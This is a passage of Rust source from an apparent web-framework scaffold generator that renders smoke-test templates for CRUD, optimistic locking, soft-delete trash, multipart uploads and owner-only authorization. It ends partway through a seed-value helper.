.assert_header("location", "/__PLURAL__/1");
client
.get("/__PLURAL__/1")
.send()
.await
.assert_ok()
.assert_body_contains("name=first-author")
.assert_body_contains("lock_version=1");
// The second author still holds version 0. Their save is rejected with a
// 409 re-render that keeps what they typed and carries the row's CURRENT
// version, so the next Save can succeed instead of losing forever.
client
.post("/__PLURAL__/1/update")
.form("name=second-author&lock_version=0")
.send()
.await
.assert_status(409)
.assert_body_contains("changed by someone else")
.assert_body_contains("second-author")
.assert_body_contains("value=\"1\"");
// The stale submit changed nothing: the first author's value and the
// version they produced both stand.
client
.get("/__PLURAL__/1")
.send()
.await
.assert_ok()
.assert_body_contains("name=first-author")
.assert_body_contains("lock_version=1");
// Re-submitting against the version the 409 handed back succeeds and bumps
// again — the conflict is recoverable, not a dead end.
client
.post("/__PLURAL__/1/update")
.form("name=second-author&lock_version=1")
.send()
.await
.assert_status(303);
client
.get("/__PLURAL__/1")
.send()
.await
.assert_ok()
.assert_body_contains("name=second-author")
.assert_body_contains("lock_version=2");
}
"#;
TEMPLATE.replace("__PLURAL__", plural)
}
#[allow(clippy::too_many_lines)] // the emitted test body is one raw-string template
fn render_write_path_smoke_test(pascal_name: &str, plural: &str, bulk_delete: bool) -> String {
const TEMPLATE: &str = r#"
// ── write-path CRUD (issue #1127) ─────────────────────────────────────────
//
// Exercises create / update / delete and the validation-failure re-render in
// one in-process test against a stand-in resource. `TestApp::new()` disables
// CSRF, so these same-origin form POSTs need no `_csrf` token (the real
// form_for-rendered forms inject one for the browser; PR #1587).
#[tokio::test]
async fn __PLURAL___write_path_crud() {
use autumn_web::test::{TestApp, TestClient};
// A process-local, in-memory stand-in for the persistence layer: `(id, name)`
// rows shared across requests within this test. No database required.
static STORE: std::sync::Mutex<Vec<(i64, String)>> = std::sync::Mutex::new(Vec::new());
#[derive(serde::Deserialize, serde::Serialize, Default, validator::Validate, Clone)]
struct Form {
#[validate(length(min = 1, message = "must not be blank"))]
name: String,
witness: String,
}
#[get("/__PLURAL__")]
async fn index() -> Markup {
let store = STORE.lock().unwrap();
let count = store.len() as i64;
html! {
h1 { "__PLURAL__" }
p { (count) " row(s)" }
ul { @for (_, name) in store.iter() { li { (name.as_str()) } } }
}
}
#[post("/__PLURAL__")]
async fn create(form: ChangesetForm<Form>) -> impl IntoResponse {
match form.into_valid() {
Ok(valid) => {
let mut store = STORE.lock().unwrap();
let id = store.iter().map(|(i, _)| *i).max().unwrap_or(0) + 1;
store.push((id, valid.name));
Redirect::to("/__PLURAL__").into_response()
}
Err(form) => (
StatusCode::UNPROCESSABLE_ENTITY,
html! {
(autumn_web::form::text_input(&form.changeset, "name", "name"))
(autumn_web::form::text_input(&form.changeset, "witness", "witness"))
},
)
.into_response(),
}
}
#[post("/__PLURAL__/{id}/update")]
async fn update(id: Path<i64>, form: ChangesetForm<Form>) -> impl IntoResponse {
let valid = match form.into_valid() {
Ok(valid) => valid,
Err(_) => return StatusCode::UNPROCESSABLE_ENTITY.into_response(),
};
{
let mut store = STORE.lock().unwrap();
if let Some(row) = store.iter_mut().find(|(i, _)| *i == *id) {
row.1 = valid.name;
}
}
// Mirror the generated handler: update redirects to the show route.
Redirect::to(&format!("/__PLURAL__/{}", *id)).into_response()
}
#[post("/__PLURAL__/{id}/delete")]
async fn destroy(id: Path<i64>) -> impl IntoResponse {
STORE.lock().unwrap().retain(|(i, _)| *i != *id);
Redirect::to("/__PLURAL__")
}__BULK_HANDLER__
let client: TestClient = TestApp::new()
.routes(routes![index, create, update, destroy__BULK_ROUTE__])
.build();
// Create (happy path): a valid POST redirects (303 See Other) to the index
// route and the row is persisted — a follow-up read shows it.
client
.post("/__PLURAL__")
.form("name=first-record&witness=w")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__");
client
.get("/__PLURAL__")
.send()
.await
.assert_ok()
.assert_body_contains("first-record")
.assert_body_contains("1 row(s)");
// Validation failure: an invalid create re-renders the form at 422 with the
// submitted input preserved and an inline error — it does NOT redirect and
// does NOT persist (the row count stays at 1).
client
.post("/__PLURAL__")
.form("name=&witness=kept-on-error")
.send()
.await
.assert_status(422)
.assert_body_contains("kept-on-error")
.assert_body_contains("role=\"alert\"");
client
.get("/__PLURAL__")
.send()
.await
.assert_body_contains("1 row(s)");
// Update (happy path): a POST of changed fields redirects (303) to the show
// route and the change is observable on a subsequent read. The row count is
// unchanged, so the value was replaced in place, not appended.
client
.post("/__PLURAL__/1/update")
.form("name=second-record&witness=w")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__/1");
client
.get("/__PLURAL__")
.send()
.await
.assert_body_contains("second-record")
.assert_body_contains("1 row(s)");
// Delete: the generated HTML delete action removes the row — a POST to the
// `/delete` route redirects and the row is gone on the next index read.
client
.post("/__PLURAL__/1/delete")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__");
client
.get("/__PLURAL__")
.send()
.await
.assert_body_contains("0 row(s)");__BULK_STEPS__
}
"#;
// Issue #1312: the bulk delete-selected stand-in. Mirrors the generated
// handler's contract — repeated `ids` checkboxes, 303 back to the index, and
// an empty selection that is a no-op rather than a 400.
const BULK_HANDLER: &str = r#"
// Issue #1312: the index list's bulk form posts the checked rows here as
// repeated `ids` pairs. They decode into a `Vec<i64>` (issue #3394). A
// malformed body and an empty selection are each a no-op — a list-write
// endpoint never 400s on bad params.
#[derive(serde::Deserialize)]
struct BulkSelection {
#[serde(default, alias = "ids[]")]
ids: Vec<i64>,
}
#[post("/__PLURAL__/bulk_delete")]
async fn bulk_delete(
body: autumn_web::reexports::axum::body::Bytes,
) -> impl IntoResponse {
if let Ok(BulkSelection { ids }) = autumn_web::form::from_urlencoded(&body) {
STORE.lock().unwrap().retain(|(i, _)| !ids.contains(i));
}
Redirect::to("/__PLURAL__")
}"#;
const BULK_STEPS: &str = r#"
// Bulk delete (issue #1312): re-seed two rows, then submit both ids the way
// the generated list's checkboxes do (`ids=1&ids=2`). One POST removes both
// and redirects (303) to the index.
for name in ["bulk-one", "bulk-two"] {
client
.post("/__PLURAL__")
.form(&format!("name={name}&witness=w"))
.send()
.await
.assert_status(303);
}
client
.get("/__PLURAL__")
.send()
.await
.assert_body_contains("2 row(s)");
client
.post("/__PLURAL__/bulk_delete")
.form("ids=1&ids=2")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__");
client
.get("/__PLURAL__")
.send()
.await
.assert_body_contains("0 row(s)");
// An empty selection is a 303 no-op, NOT a 400: nothing was checked, so
// nothing is deleted and the visitor lands back on the list.
client
.post("/__PLURAL__/bulk_delete")
.form("")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__");
client
.get("/__PLURAL__")
.send()
.await
.assert_body_contains("0 row(s)");"#;
TEMPLATE
.replace(
"__BULK_HANDLER__",
if bulk_delete { BULK_HANDLER } else { "" },
)
.replace(
"__BULK_ROUTE__",
if bulk_delete { ", bulk_delete" } else { "" },
)
.replace("__BULK_STEPS__", if bulk_delete { BULK_STEPS } else { "" })
.replace("__PASCAL__", pascal_name)
.replace("__PLURAL__", plural)
}
/// Render the trash / restore / purge lifecycle smoke test (issue #1332, AC7).
///
/// Emitted alongside [`render_write_path_smoke_test`] for every `--soft-delete`
/// scaffold that gets the trash surface, and follows the same #1127 in-process
/// style: a process-local stand-in for the persistence layer, so it runs green
/// without Docker (unlike the `TestDb`-backed index smoke test, which is
/// `#[ignore]`d).
///
/// The stand-in's `deleted` flag plays the part of the `deleted_at` column
/// `--soft-delete` adds, and each handler mirrors its generated counterpart's
/// contract: the index hides trashed rows, the trash page shows only those,
/// restore/purge refuse a row that is not in the trash (the generated handlers'
/// `deleted_at IS NOT NULL` guard load), and every write redirects with 303.
#[allow(clippy::too_many_lines)] // the emitted test body is one raw-string template
fn render_trash_lifecycle_smoke_test(pascal_name: &str, plural: &str) -> String {
const TEMPLATE: &str = r#"
// ── trash / restore / purge lifecycle (issue #1332) ───────────────────────
//
// The full recover-from-trash flow in one in-process test against a stand-in
// resource: create -> delete (soft) -> present in Trash and absent from the
// index -> restore -> back in the index and out of Trash -> purge -> gone from
// both. `TestApp::new()` disables CSRF, so these same-origin form POSTs need no
// `_csrf` token (the generated trash view injects one for the browser).
//
// The handlers are stand-ins, not the generated `routes::__PLURAL__` ones: a
// `tests/` binary cannot import a project's own code when the project has no
// `src/lib.rs` (see `docs/guide/tutorial/11-testing.md`).
#[tokio::test]
async fn __PLURAL___trash_restore_purge_lifecycle() {
use autumn_web::test::{TestApp, TestClient};
// `(id, title, deleted)` rows shared across requests within this test. The
// `deleted` flag stands in for the `deleted_at` timestamp column.
static TRASH_STORE: std::sync::Mutex<Vec<(i64, String, bool)>> =
std::sync::Mutex::new(Vec::new());
// The index hides trashed rows, exactly as the soft-delete repository's
// `deleted_at IS NULL` filter does for the generated `index`.
#[get("/__PLURAL__")]
async fn index() -> Markup {
let store = TRASH_STORE.lock().unwrap();
let live: Vec<&(i64, String, bool)> = store.iter().filter(|row| !row.2).collect();
html! {
h1 { "__PASCAL__s" }
p { (live.len()) " row(s)" }
ul { @for row in &live { li { (row.1.as_str()) } } }
}
}
// The trash page is the mirror image: only the rows the delete button
// marked deleted, which is what `only_deleted` returns.
#[get("/__PLURAL__/trash")]
async fn trash() -> Markup {
let store = TRASH_STORE.lock().unwrap();
let deleted: Vec<&(i64, String, bool)> = store.iter().filter(|row| row.2).collect();
html! {
h1 { "__PASCAL__ trash" }
p { (deleted.len()) " trashed" }
ul { @for row in &deleted { li { (row.1.as_str()) } } }
}
}
#[post("/__PLURAL__")]
async fn create(body: autumn_web::reexports::axum::body::Bytes) -> impl IntoResponse {
let title = autumn_web::form::field_from_urlencoded(&body, "title").unwrap_or_default();
let mut store = TRASH_STORE.lock().unwrap();
let id = store.iter().map(|row| row.0).max().unwrap_or(0) + 1;
store.push((id, title, false));
Redirect::to("/__PLURAL__")
}
// Soft delete: mark the row instead of dropping it, matching the generated
// `destroy` under `--soft-delete`.
#[post("/__PLURAL__/{id}/delete")]
async fn destroy(id: Path<i64>) -> impl IntoResponse {
let mut store = TRASH_STORE.lock().unwrap();
for row in store.iter_mut().filter(|row| row.0 == *id) {
row.2 = true;
}
Redirect::to("/__PLURAL__")
}
#[post("/__PLURAL__/{id}/restore")]
async fn restore(id: Path<i64>) -> impl IntoResponse {
let mut store = TRASH_STORE.lock().unwrap();
// The generated handler loads its row with `deleted_at IS NOT NULL`, so
// a row that is not in the trash cannot be restored from it.
let Some(row) = store.iter_mut().find(|row| row.0 == *id && row.2) else {
return StatusCode::NOT_FOUND.into_response();
};
row.2 = false;
Redirect::to("/__PLURAL__/trash").into_response()
}
#[post("/__PLURAL__/{id}/purge")]
async fn purge(id: Path<i64>) -> impl IntoResponse {
let mut store = TRASH_STORE.lock().unwrap();
// Same guard: purge is the only hard delete, and it must never reach a
// row that was not soft-deleted first.
if !store.iter().any(|row| row.0 == *id && row.2) {
return StatusCode::NOT_FOUND.into_response();
}
store.retain(|row| row.0 != *id);
Redirect::to("/__PLURAL__/trash").into_response()
}
let client: TestClient = TestApp::new()
.routes(routes![index, trash, create, destroy, restore, purge])
.build();
// Create: the row is live and listed on the index.
client
.post("/__PLURAL__")
.form("title=recoverable")
.send()
.await
.assert_status(303);
client
.get("/__PLURAL__")
.send()
.await
.assert_ok()
.assert_body_contains("recoverable")
.assert_body_contains("1 row(s)");
// Delete (soft): the row leaves the index and turns up in the trash.
client
.post("/__PLURAL__/1/delete")
.send()
.await
.assert_status(303);
client
.get("/__PLURAL__")
.send()
.await
.assert_ok()
.assert_body_contains("0 row(s)");
client
.get("/__PLURAL__/trash")
.send()
.await
.assert_ok()
.assert_body_contains("recoverable")
.assert_body_contains("1 trashed");
// Restore: back in the index, gone from the trash.
client
.post("/__PLURAL__/1/restore")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__/trash");
client
.get("/__PLURAL__")
.send()
.await
.assert_ok()
.assert_body_contains("recoverable")
.assert_body_contains("1 row(s)");
client
.get("/__PLURAL__/trash")
.send()
.await
.assert_ok()
.assert_body_contains("0 trashed");
// A live row is not in the trash, so neither recovery action can touch it.
client
.post("/__PLURAL__/1/restore")
.send()
.await
.assert_status(404);
client
.post("/__PLURAL__/1/purge")
.send()
.await
.assert_status(404);
client
.get("/__PLURAL__")
.send()
.await
.assert_body_contains("1 row(s)");
// Purge: soft-delete first, then permanently remove — gone from both views.
client
.post("/__PLURAL__/1/delete")
.send()
.await
.assert_status(303);
client
.post("/__PLURAL__/1/purge")
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__/trash");
client
.get("/__PLURAL__/trash")
.send()
.await
.assert_ok()
.assert_body_contains("0 trashed");
client
.get("/__PLURAL__")
.send()
.await
.assert_ok()
.assert_body_contains("0 row(s)");
}
"#;
TEMPLATE
.replace("__PASCAL__", pascal_name)
.replace("__PLURAL__", plural)
}
/// Render the multipart attachment write-path smoke test (issue #1236, AC6).
///
/// Emitted alongside [`render_write_path_smoke_test`] whenever a scaffold has at
/// least one attachment field, and follows the same #1127 in-process style: a
/// process-local stand-in for the persistence layer, no database required, so it
/// runs green without Docker (unlike the `TestDb`-backed index/api smoke tests,
/// which are `#[ignore]`d). It drives a zero-JS `multipart/form-data` create
/// through the real `Multipart` extractor and
/// the real `save_to_blob_store` against a real
/// [`LocalBlobStore`](autumn_web::storage::LocalBlobStore), binds the returned
/// `Blob` on the record, then asserts the persisted record's attachment column
/// holds a non-empty blob key — the AC's literal requirement ("the blob key is
/// bound") — AND that the uploaded bytes actually landed in the store at that
/// key. The handler is an in-test stand-in (a `tests/` binary cannot import the
/// project's own routes) that runs the SAME blob path the generated `create`
/// handler runs.
#[allow(clippy::too_many_lines)] // the emitted test body is one raw-string template
fn render_attachment_multipart_write_path_smoke_test(
pascal_name: &str,
plural: &str,
fields: &[Field],
) -> String {
const TEMPLATE: &str = r#"
// ── multipart attachment write-path (issue #1236) ──────────────────────────
//
// Follows the #1127 in-process write-path style (a process-local stand-in for
// the persistence layer, no database required, so these run without Docker):
// a zero-JS `multipart/form-data` create drives the REAL `Multipart` extractor
// and the REAL `save_to_blob_store` against a REAL `LocalBlobStore`. The
// handlers are in-test stand-ins (a `tests/` binary cannot import the
// project's own routes) running the SAME blob path the generated `create`
// handler runs. `TestApp::new()` disables CSRF, so the hand-built bodies carry
// no `_csrf` part (the real form injects one as its first field).
/// A real on-disk blob store for the probes below, plus its root directory so
/// the caller can remove it when the test finishes.
fn __PLURAL___probe_blob_store()
-> (std::sync::Arc<autumn_web::storage::LocalBlobStore>, std::path::PathBuf) {
use autumn_web::storage::LocalBlobStore;
use autumn_web::storage::local::SigningKey;
let nanos = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or_default();
let root = std::env::temp_dir().join(format!("__PLURAL__-blob-probe-{nanos}"));
let store = std::sync::Arc::new(
LocalBlobStore::new(
"test",
root.clone(),
"/_blobs",
std::time::Duration::from_secs(60),
SigningKey::new(b"test-signing-key".to_vec()),
Vec::new(),
)
.expect("build local blob store"),
);
(store, root)
}
/// A `multipart/form-data` body (boundary `BOUND`) with one text part for a
/// sibling column and, when `file` is `Some`, one file part for the attachment
/// column — exactly what a browser submits from the scaffolded form.
fn __PLURAL___probe_body(file: Option<&str>) -> String {
let mut body = String::from(
"--BOUND\r\nContent-Disposition: form-data; name=\"__TEXT_FIELD__\"\r\n\r\nhello\r\n",
);
if let Some(contents) = file {
body.push_str(
"--BOUND\r\nContent-Disposition: form-data; \
name=\"__ATTACH__\"; filename=\"upload.png\"\r\n\
Content-Type: image/png\r\n\r\n",
);
body.push_str(contents);
body.push_str("\r\n");
}
body.push_str("--BOUND--\r\n");
body
}
/// A multipart create stores the file and binds its `Blob` on the record, and
/// the uploaded bytes really do land in the store at the bound key.
#[tokio::test]
async fn __PLURAL___multipart_upload_binds_blob_key() {
use autumn_web::storage::{BlobStore, BlobStoreState};
// Process-local stand-in for the persistence layer: the attachment `Blob`
// bound on each created record (mirrors the `New__PASCAL__.__ATTACH__`
// column the generated `create` handler sets). No database required.
static STORE: std::sync::Mutex<Vec<autumn_web::storage::Blob>> =
std::sync::Mutex::new(Vec::new());
#[post("/__PLURAL__/upload-probe")]
async fn create(
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
mut multipart: autumn_web::extract::Multipart,
) -> AutumnResult<Redirect> {
let store = state
.extension::<BlobStoreState>()
.expect("blob store configured")
.store()
.clone();
while let Some(field) = multipart.next_field().await? {
if field.name() == Some("__ATTACH__")
&& field.file_name().is_some_and(|name| !name.is_empty())
{
let nanos = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or_default();
let key = format!("__PLURAL__/__ATTACH__/{nanos}");
let blob = field.save_to_blob_store(&*store, key).await?;
STORE.lock().unwrap().push(blob);
}
}
Ok(Redirect::to("/__PLURAL__"))
}
let (blob_store, blob_root) = __PLURAL___probe_blob_store();
let store_handle = blob_store.clone();
let client: TestClient = TestApp::new()
.routes(routes![create])
.state_initializer(move |state| {
state.insert_extension(BlobStoreState::new(blob_store.clone()));
})
.build();
// The multipart create succeeds and redirects (303), exactly like the real
// generated attachment handler.
client
.post("/__PLURAL__/upload-probe")
.header("content-type", "multipart/form-data; boundary=BOUND")
.body(__PLURAL___probe_body(Some("not-an-empty-file")))
.send()
.await
.assert_status(303)
.assert_header("location", "/__PLURAL__");
// The persisted record bound a non-empty blob key with the expected prefix.
let bound = STORE
.lock()
.unwrap()
.last()
.cloned()
.expect("a record was created with an attachment blob");
assert!(
!bound.key.is_empty(),
"the attachment column must bind a non-empty blob key"
);
assert!(
bound.key.starts_with("__PLURAL__/__ATTACH__/"),
"bound key: {}",
bound.key
);
// The uploaded bytes actually landed in the store at the bound key.
let stored_bytes = store_handle
.get(&bound.key)
.await
.expect("blob present in store at the bound key");
assert_eq!(&stored_bytes[..], b"not-an-empty-file");
let _ = std::fs::remove_dir_all(&blob_root);
}
/// An upload over `security.upload.max_file_size_bytes` is rejected with `413`
/// and nothing is left behind in the store. The cap is driven through the real
/// config knob, not a per-route override, so this also proves the scaffolded
/// handler honours whatever the app configures.
#[tokio::test]
async fn __PLURAL___multipart_upload_over_limit_is_413() {
use autumn_web::storage::{BlobStore, BlobStoreState};
#[post("/__PLURAL__/limit-probe")]
async fn create(
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
mut multipart: autumn_web::extract::Multipart,
) -> AutumnResult<Redirect> {
let store = state
.extension::<BlobStoreState>()
.expect("blob store configured")
.store()
.clone();
while let Some(field) = multipart.next_field().await? {
if field.name() == Some("__ATTACH__")
&& field.file_name().is_some_and(|name| !name.is_empty())
{
field
.save_to_blob_store(&*store, "__PLURAL__/__ATTACH__/over-limit")
.await?;
}
}
Ok(Redirect::to("/__PLURAL__"))
}
let (blob_store, blob_root) = __PLURAL___probe_blob_store();
let store_handle = blob_store.clone();
// Same defaults `TestApp::new()` uses, with a deliberately tiny per-file cap.
let mut config = autumn_web::config::AutumnConfig::default();
config.profile = Some("test".into());
config.security.csrf.enabled = false;
config.security.upload.max_file_size_bytes = 16;
let client: TestClient = TestApp::new()
.config(config)
.routes(routes![create])
.state_initializer(move |state| {
state.insert_extension(BlobStoreState::new(blob_store.clone()));
})
.build();
client
.post("/__PLURAL__/limit-probe")
.header("content-type", "multipart/form-data; boundary=BOUND")
.body(__PLURAL___probe_body(Some(&"x".repeat(4096))))
.send()
.await
.assert_status(413);
// Rejected part-way through, the store holds no object at the key: the
// backend writes to a temp sibling and unlinks it when the cap trips, so
// neither partial bytes nor a `.meta` sidecar survive. (The key's parent
// directories are still created, so this asserts on the object, not the
// directory tree.)
let residue = store_handle
.head("__PLURAL__/__ATTACH__/over-limit")
.await
.expect("head on a missing key reports absence, not an error");
assert!(
residue.is_none(),
"a rejected oversized upload must leave no object behind: {residue:?}"
);
let _ = std::fs::remove_dir_all(&blob_root);
}
/// Submitting the form with no file selected succeeds and leaves the optional
/// attachment column NULL — the empty file input a browser sends must not be
/// mistaken for an upload.
#[tokio::test]
async fn __PLURAL___multipart_create_without_file_is_null() {
use autumn_web::storage::BlobStoreState;
static STORE: std::sync::Mutex<Vec<Option<autumn_web::storage::Blob>>> =
std::sync::Mutex::new(Vec::new());
#[post("/__PLURAL__/null-probe")]
async fn create(
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
mut multipart: autumn_web::extract::Multipart,
) -> AutumnResult<Redirect> {
let store = state
.extension::<BlobStoreState>()
.expect("blob store configured")
.store()
.clone();
let mut __ATTACH___blob: Option<autumn_web::storage::Blob> = None;
while let Some(field) = multipart.next_field().await? {
if field.name() == Some("__ATTACH__")
&& field.file_name().is_some_and(|name| !name.is_empty())
{
__ATTACH___blob = Some(
field
.save_to_blob_store(&*store, "__PLURAL__/__ATTACH__/unused")
.await?,
);
}
}
// Mirrors `new.__ATTACH__ = __ATTACH___blob;` in the generated handler.
STORE.lock().unwrap().push(__ATTACH___blob);
Ok(Redirect::to("/__PLURAL__"))
}
let (blob_store, blob_root) = __PLURAL___probe_blob_store();
let client: TestClient = TestApp::new()
.routes(routes![create])
.state_initializer(move |state| {
state.insert_extension(BlobStoreState::new(blob_store.clone()));
})
.build();
// A browser submitting the form with nothing chosen sends an empty file
// part; assert the stricter case too by sending no file part at all.
for body in [
__PLURAL___probe_body(None),
"--BOUND\r\nContent-Disposition: form-data; \
name=\"__ATTACH__\"; filename=\"\"\r\n\r\n\r\n--BOUND--\r\n"
.to_owned(),
] {
client
.post("/__PLURAL__/null-probe")
.header("content-type", "multipart/form-data; boundary=BOUND")
.body(body)
.send()
.await
.assert_status(303);
let bound = STORE
.lock()
.unwrap()
.last()
.cloned()
.expect("a record was created");
assert!(
bound.is_none(),
"the optional attachment column must stay NULL when no file is submitted, got: {bound:?}"
);
}
let _ = std::fs::remove_dir_all(&blob_root);
}
"#;
let attach = fields
.iter()
.find(|f| f.kind.is_attachment())
.map_or("attachment", |f| f.name.as_str());
// A sibling non-attachment field name for a realistic mixed multipart body
// (a text part alongside the file part); the stand-in handler ignores it.
let text_field = fields
.iter()
.find(|f| !f.kind.is_attachment())
.map_or("note", |f| f.name.as_str());
TEMPLATE
.replace("__PASCAL__", pascal_name)
.replace("__PLURAL__", plural)
.replace("__ATTACH__", attach)
.replace("__TEXT_FIELD__", text_field)
}
/// Render the cross-user record-level-authorization smoke test (issue #1125,
/// AC4/AC6): with an owner column present, a user may only update/delete rows
/// they own. A stand-in resource seeded with a row owned by user A is exercised
/// while acting as user B — the mutating routes must be forbidden (403, via the
/// test-level `ForbiddenResponse::Forbidden403`
/// override so the demonstration asserts a concrete 403 rather than the app-wide
/// default hide-existence 404) and B's index must exclude A's rows. Then acting
/// as the owner (A), the same update succeeds. Self-contained (a process-local
/// store stands in for the database), so it runs in-process with no external
/// services, exactly like the write-path CRUD test above.
#[allow(clippy::too_many_lines)] // the emitted test body is one raw-string template
fn render_cross_user_forbidden_smoke_test(plural: &str) -> String {
const TEMPLATE: &str = r#"
// ── cross-user record-level authorization (issue #1125) ───────────────────
//
// Owner-or-admin update/delete. A row owned by user A is off-limits to user B:
// B's update/delete are forbidden (403) and B's index excludes A's rows, while
// the owner (A) is allowed. `TestApp::new()` disables CSRF; the 403 comes from
// the registered policy + the `ForbiddenResponse::Forbidden403` test override.
#[tokio::test]
async fn __PLURAL___cross_user_mutations_are_forbidden() {
use autumn_web::authorization::{authorize, BoxFuture, Policy, PolicyContext};
use autumn_web::test::{TestApp, TestClient};
#[derive(Clone)]
struct OwnedRow {
id: i64,
owner_id: i64,
}
// Process-local stand-in for the persistence layer.
static STORE: std::sync::Mutex<Vec<OwnedRow>> = std::sync::Mutex::new(Vec::new());
fn find_row(id: i64) -> Option<OwnedRow> {
STORE.lock().unwrap().iter().find(|r| r.id == id).cloned()
}
#[derive(Default)]
struct OwnedRowPolicy;
impl Policy<OwnedRow> for OwnedRowPolicy {
fn can_update<'a>(&'a self, ctx: &'a PolicyContext, row: &'a OwnedRow) -> BoxFuture<'a, bool> {
Box::pin(async move { ctx.has_role("admin") || ctx.user_id_i64() == Some(row.owner_id) })
}
fn can_delete<'a>(&'a self, ctx: &'a PolicyContext, row: &'a OwnedRow) -> BoxFuture<'a, bool> {
Box::pin(async move { ctx.has_role("admin") || ctx.user_id_i64() == Some(row.owner_id) })
}
}
#[secured]
#[get("/owned")]
async fn index(
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
) -> autumn_web::AutumnResult<autumn_web::Markup> {
let ctx = PolicyContext::from_request(&state, &session).await;
let me = ctx.user_id_i64().unwrap_or(-1);
let ids: Vec<i64> = STORE
.lock()
.unwrap()
.iter()
.filter(|r| r.owner_id == me)
.map(|r| r.id)
.collect();
Ok(autumn_web::html! { @for id in &ids { p { "owned-row-" (id) } } })
}
#[secured]
#[post("/owned/{id}/update")]
async fn update(
id: autumn_web::extract::Path<i64>,
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
) -> autumn_web::AutumnResult<autumn_web::Redirect> {
let row = find_row(*id).ok_or_else(|| autumn_web::AutumnError::not_found_msg("not found"))?;
authorize::<OwnedRow>(&state, &session, "update", &row).await?;
Ok(autumn_web::Redirect::to("/owned"))
}
#[secured]
#[post("/owned/{id}/delete")]
async fn destroy(
id: autumn_web::extract::Path<i64>,
autumn_web::extract::State(state): autumn_web::extract::State<autumn_web::AppState>,
session: autumn_web::session::Session,
) -> autumn_web::AutumnResult<autumn_web::Redirect> {
let row = find_row(*id).ok_or_else(|| autumn_web::AutumnError::not_found_msg("not found"))?;
authorize::<OwnedRow>(&state, &session, "delete", &row).await?;
STORE.lock().unwrap().retain(|r| r.id != *id);
Ok(autumn_web::Redirect::to("/owned"))
}
{
let mut store = STORE.lock().unwrap();
store.clear();
// Row 1 is owned by user A (id 1).
store.push(OwnedRow { id: 1, owner_id: 1 });
}
let client: TestClient = TestApp::new()
.routes(routes![index, update, destroy])
.policy::<OwnedRow, _>(OwnedRowPolicy::default())
.forbidden_response(autumn_web::authorization::ForbiddenResponse::Forbidden403)
.build();
// Acting as user B (id 2), who owns nothing.
client.acting_as(2).await;
// B cannot update or delete A's row.
client.post("/owned/1/update").send().await.assert_status(403);
client.post("/owned/1/delete").send().await.assert_status(403);
// B's index excludes A's rows.
let body = client.get("/owned").send().await.assert_ok().text();
assert!(!body.contains("owned-row-1"), "B must not see A's row: {body}");
// The owner (A, id 1) is allowed to update their own row.
client.acting_as(1).await;
client.post("/owned/1/update").send().await.assert_status(303);
}
"#;
TEMPLATE.replace("__PLURAL__", plural)
}
/// A representative non-`NULL` literal for a `FieldKind`, used to fill in the
/// "other" `NOT NULL` columns of the raw `INSERT` [`render_enum_rejection_smoke_test`]
/// issues directly against the database — every column but the one under
/// test needs *some* valid value so the `INSERT`'s failure is attributable to
/// the target enum column's `CHECK` constraint rather than some other
/// required column being left out.
fn sql_sample_literal(backend: DatabaseBackend, kind: FieldKind) -> String {
let sqlite = backend == DatabaseBackend::Sqlite;
match kind {
// `Enum`'s "'sample'" here is never actually used: `enum_rejection_insert_sql`
// special-cases every enum column (the field under test gets the
// deliberately out-of-set literal; any *other* required enum column
// gets one of its own real variants instead — see that function).
FieldKind::String | FieldKind::Text | FieldKind::RichText | FieldKind::Enum => {
"'sample'".to_owned()
}
// A unique sample literal, not `'sample'` — this helper fills every
// *other* `NOT NULL` column while testing one column in isolation, and
// a slug field's own `UNIQUE INDEX` would reject a second `'sample'`
// row alongside whatever `enum_rejection_insert_sql` inserts.
FieldKind::Slug => "'sample-slug'".to_owned(),
// `position` (issue #1358) is a plain `BIGINT NOT NULL` column like
// any other `i64`-shaped field — "1" satisfies it fine for a smoke
// test that isn't exercising the ordering invariant itself.
// `commentable` (issue #1367) is likewise a plain `BIGINT NOT NULL`
// counter column at the storage level.
FieldKind::I32
| FieldKind::I64
| FieldKind::References
| FieldKind::Position
| FieldKind::Commentable => "1".to_owned(),
FieldKind::Bool => "TRUE".to_owned(),
FieldKind::F32 | FieldKind::F64 => "1.0".to_owned(),
// Scale-derived rather than a fixed "1.0": a tightly-scaled column
// like `decimal{1,1}` (valid range `(-1,1)`) would reject a literal
// "1.0" with a numeric field overflow — see `decimal_literal_at_scale`.
FieldKind::Decimal { scale, .. } => decimal_literal_at_scale(scale, 1),
FieldKind::Uuid if sqlite => format!("({})", super::dsl::SQLITE_UUID_V4_SQL),
FieldKind::Uuid => "gen_random_uuid()".to_owned(),
FieldKind::NaiveDateTime | FieldKind::DateTime if sqlite => "CURRENT_TIMESTAMP".to_owned(),
FieldKind::NaiveDateTime | FieldKind::DateTime => "NOW()".to_owned(),
FieldKind::Bytea if sqlite => "X'00'".to_owned(),
FieldKind::Bytea => "'\\x00'::bytea".to_owned(),
// Always nullable (see `FieldKind::Attachment`'s doc comment), so it
// never needs a sample literal to satisfy a `NOT NULL` constraint.
FieldKind::Attachment => "NULL".to_owned(),
FieldKind::Json if sqlite => "'{}'".to_owned(),
FieldKind::Json => "'{}'::jsonb".to_owned(),
}
}
/// How many rows the `--api` smoke test seeds. More than the default page size
/// (20) so the paginated list is guaranteed to span multiple pages regardless
/// of the `size` the test happens to request.
const API_SMOKE_TEST_SEED_ROWS: usize = 25;
/// A per-row seed value expression for a required column in the `--api` smoke
/// test's [`render_api_seed_sql`] INSERT, written in terms of the
/// `generate_series` index bound to `g` (1..=[`API_SMOKE_TEST_SEED_ROWS`]).
///
/// The index is woven into the value for the types that can vary it while
/// staying valid (text, integers, floats, timestamps, json) so that a
/// `unique` column of one of those types does not collide across the seeded
